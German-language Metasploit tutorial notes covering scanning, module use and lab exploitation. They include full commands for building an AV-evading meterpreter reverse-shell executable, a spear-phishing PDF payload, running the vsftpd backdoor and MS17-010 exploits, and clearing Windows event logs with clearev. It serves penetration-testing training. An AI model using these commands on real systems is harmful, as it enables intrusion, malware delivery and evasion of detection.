Das Metasploit Framework
Link: https://www.metasploit.com/
Metasploit ist Bestandteil der meisten Pen-Distros (zB Parrot)
systemctl start postgresql # Datenbank starten systemctl enable postgresql # Autostart der DB msfdb init # Initiierung msfconsole # msf Konsole starten db_status # DB abfragen workspace -a Lab # Workspace "Lab" anlegen workspace # Workspaces listen workspace -h # Zeigt die Hilfe für workspace
db_export -f xml /root/msfdb_backup # erstellt ein db-Backup
Das Footprintign bildet die Vorbereitung jedes Enemeration-Tests. Es setzt sich zusammen aus:
| Blackbox | Keine Informationen über die zu testende Umgebung |
| Greybox | Teilweise oder unvollständige Informationen |
| Whitebox | Vollständige Information, auch mit den nötigen Zugänge |
Dies können sein:
nmap -p- -A -oX 192.168.178.34.xml 192.168.178.34 # Full Scan einer IP, Ausgabe in XML-Datei
In der Praxis ist es sinnvoll **.0/24 zu verwenden um ein komplettes C-Class NW zu analysieren.
msfconsole # startet msf workspace # Zeigt vorhandene Workspaces workspace -a Lab # erstellt neuen Workspace "Lab" workspace Lab # In Workspace wechseln show # Listet alle Module show auxiliary # Zeigt Module einer Kategorie search scanner # Sucht alle Scanningmodule
workspace -a nmap # Workspace anlegen workspace nmap # zu Workspace wechseln db_import 192.168.178.34.xml # xml aus nmap importieren
db_nmap -p- -T4 -A -v 192.168.178.0/24 # Full nmap-Scan, das Ergebnis wird im aktiven Workspace gespeichert db_nmap -sU -p161 192.168.178.0/24 --open # SNMP-Agent Scan
hosts # Anzeige der Hosts in der DB services # Zeigt gefundene Dienste in der DB vulns # Vulnerabilities Scan der vorhandenen Daten
ls /usr/share/metasploit-framework/modules/ # Liste der vorhandenen Modulgruppen show auxiliary # Liste aller Module der Gruppe Auxiliary search scanner ssh # Sucht nach "scanner" und "ssh"
Die Liste ergibt die Gruppen: auxiliary encoders evasion exploits nops payloads post
Als Beispiel verwenden wir das Modul „ssh_version“ zur Bestimmung der SSH-Version
use auxiliary/scanner/ssh/ssh_version # Ein Modul zur Verwendung laden (info options) info # Zeigt Informationen show options # Zeigt alle Optionen set rhosts <Ziel-IP> # Ziel setzten run # Start hosts # Zeigt gefundene Hosts in der DB services # Zeigt gefundene Dienste in der DB
Hint: search ssh_version sucht nach dem Modul und nummeriert das Ergebnis → hier hat es die Nummer 3. Jetzt kann ich das Modul mit der Nummer ansprechen:
info 3 use 3
Portscanner
FTP Scanner
SSH Scanner
DNS Scanner
Eine Sammlung von Modulen um einen Webservice auf Schwachstellen zu scanen
load wmap wmap_sites -a http://192.168.178.3 # Site hinzufügen wmap_targets -t http://192.168.178.3/index.php # Zielseite hinzufügen wmap_run -t # Module werden vorbereitet wmap_run -e # Startet den Scan wmap_vulns -l # Schwachstellen auflisten
searchsploit Local Priv | wc -l # Zeigt Menge an gefundenen Treffer zu "Local Priv" Sploits searchsploit Local Priv |grep -i ubuntu # Schränkt die Suche um Treffer mit "ubuntu" ein
Achtung: die IP der Ziele muss kontrolliert werden. Wird 127.0.0.1 statt der richtigen IP im xml angezeigt, kann die 127.0.0.1 vor dem Import mit sed durch die echte IP ersetzt werden
Die meisten Scanner liefern zu einer erkannten Schwachstelle die CVE-Nummer mit. Beispiel:
SSL Medium Strength Cipher Suites CVE-2016-2183
Eine Suche nach CVE-2016-2183 ergibt: https://enginsight.com/de/blog/cve-2016-2183-sweet32/
Begriffe Siehe: Grundlagen
| payload | Der Teil des Exploit der die Aktion ausführt |
| encoder | verändert den Binärcode um ein payload zu verstecken |
| Reverse Shell | Auf dem Ziel wird ein Payload ausgeführt welches das System anweist eine Shell zum Angreifer zu öffnen |
| Handler | Eine Funktion auf dem Angreifer der Sessions (zB ssh) automatisch entgegen nimmt |
| meterpreter | Eine Kosole auf dem Angreifer in der die Sessions verwaltet werden können |
msfvenom --list payload # Liste der verfügbaren payloads msfvenom --list encoder # Liste der Encoder
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.178.37 LPORT=4443 -e x86/shikata_ga_nai -f exe -o /root/ms17-01.exe
Die erstellte *.exe auf den Windows-PC kopieren und ausführen
msfconsole use multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LPORT 4443 set LHOST 192.168.178.37 show options exploit
Wird das payload gestartet, startet der Server eine Verbindung zum Handler. Die reverse-Shell steht. Damit kann der Server ferngesteuert werden
Weitere Beispiele: msfvenom
Wir versuchen ein payload bei aktivem Anti-Virus/Malware Schutz zu etablieren. Um vorab testen zu können ob ein Hack unerkannt bleibt kann er unter Virustotal gestestet werden.
Zuerst suchen wir einen geeigneten encoder
msfvenom --list encoder
Der shikata_ga_nai ist zwar sehr gut aber zu bekannt um noch unentdeckt zu bleiben. Welcher Encoder der beste ist muss getestet werden da es von der Sicherheitsstruktur der Zielsysteme abhängig ist. Für unser Beispiel wähle ich opt_sub.
Dazu erhöhen wir die Iterationen des encoder auf 5 Durchgänge mit -i 5
└──╼ $msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.178.37 LPORT=4443 -e x86/opt_sub -i 5 -f exe -o /root/ms17-02.exe
Virustotal listet 36 von 67 Anti-Malware Programme die den Payload erkennn. Aber 31 Scanner würden den Hack nicht erkennen.
… muss als root ausgeführt werden. Wir starten mit einer Social-Engineering Attacks und bestätigen mit 1 Select from the menu:
1) Social-Engineering Attacks 2) Penetration Testing (Fast-Track) 3) Third Party Modules 4) Update the Social-Engineer Toolkit 5) Update SET configuration 6) Help, Credits, and About 99) Exit the Social-Engineer Toolkit
Die Art der Attacke soll Spear-Phishing Attack Vectors sein
Select from the menu: 1) Spear-Phishing Attack Vectors 2) Website Attack Vectors 3) Infectious Media Generator 4) Create a Payload and Listener 5) Mass Mailer Attack 6) Arduino-Based Attack Vector 7) Wireless Access Point Attack Vector 8) QRCode Generator Attack Vector 9) Powershell Attack Vectors 10) Third Party Modules 99) Return back to the main menu.
Wir wollen ein PDF erstellen und wählen Create a FileFormat Payload
1) Perform a Mass Email Attack 2) Create a FileFormat Payload 3) Create a Social-Engineering Template
Als Dateiformat wähle ich „14“ → Adobe util.printf() Buffer Overflow
Das Payload wird jetzt definiert: „1“ → Windows Reverse TCP Shell und die weiteren eingaben getätigt:
Nach Erstellung der Datei kann ich sie gleich umbenennen → Endung nicht vergessen! zB Anleitung.pdf
Die Datei ist im Ordner /root/.set/ abgelegt.
Um ein Payload in einem Bild zu verstekchen verwenden wir ExifTool.
Zur Vorbereitung benötigen wir ein beliebiges Bild zB: flower.jpg.
Metadaten des Bildes anschauen
exiftool flower.jpg
Payload einbinden
Hat ein Vulnability-Scan erkannt das eine Sicherheitslücke besteht, wie zB „Microsoft Windows - SMB Remote Code Execution Scanner (MS17-010)“ kann nach einem Exploit genau zu dieser Schwachstelle gesucht werden. Eine gute Seite neue Exploits zu erhalten ist https://www.exploit-db.com/
Eine elegante Methode ist searchsploit. Es muss in Parrot nachinstalliert werden:
git clone https://github.com/offensive-security/exploitdb.git /opt/exploitdb ln -sf /opt/exploitdb/searchsploit /usr/local/bin/searchsploit searchsploit -l
Mit searchsploit ein exploit zu suchen
searchsploit smb windows -w -t | grep MS17-010 # sucht ein smb exploit für Windows OS und filtert nach MS17-010 searchsploit MS17-010 windows -w -t # gleiches Ergebnis
Hinter dem Ergebnis kann die URL kopiert und in einem Browser verwendet werden oder Download mit wget:
wget -o 41891.rb https://www.exploit-db.com/download/41891 # Wobei 41891 die Nummer in der Ergebnis-URL ist
Bei wget muss die Datei mit -o umbenannt werden, da die Endung *.ru für Ruby fehlt.
Di e*.rb in den richtigen Ordner verschieben (es ist ein Windows/smb Modul)
mv /root/41891.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/
Neues Modul laden
msfconsole # Konsole starten reload_all # Alle Module neu laden (übernimmt neue Module) use exploit/windows/smb/41891 # Neues Modul verwenden
Wi rjaben im Scan erkannt das vsftp läuft. Diesen Dienst wollen wir kompromitieren.
msfconsole # Konsole starten search vsftp # Nach vsftp-Exploits suchen (vsftpd_234_backdoor gefunden) use exploit/unix/ftp/vsftpd_234_backdoor # Exploit verwenden show info # Zeigt Infos über das Exploit show options # Zeigt nötige und optionale Eingaben set RHOSTS <Ziel-IP> # IP des Zielsystems exploit # ausführen
Wenn die Schwachstelle existiert wird eine rootshell zum Zielsystem aufgebaut.
Bei einer aktiven meterpreter-Session:
help # Zeigt die meterpreter-Hilfe clearev # Automatisches Löschen der Eventlogs eines Windows-Servers
Armitage ist die GUI für Metasploit. Sie wird auf der Shell aufgerufen mit
armitage
Es eht ein Fenster mit der Anwendung auf. Achtung: Armitage ist im Netz sehr laut. Die Gefahr entdeckt zu werden ist nahezu unausweichlich.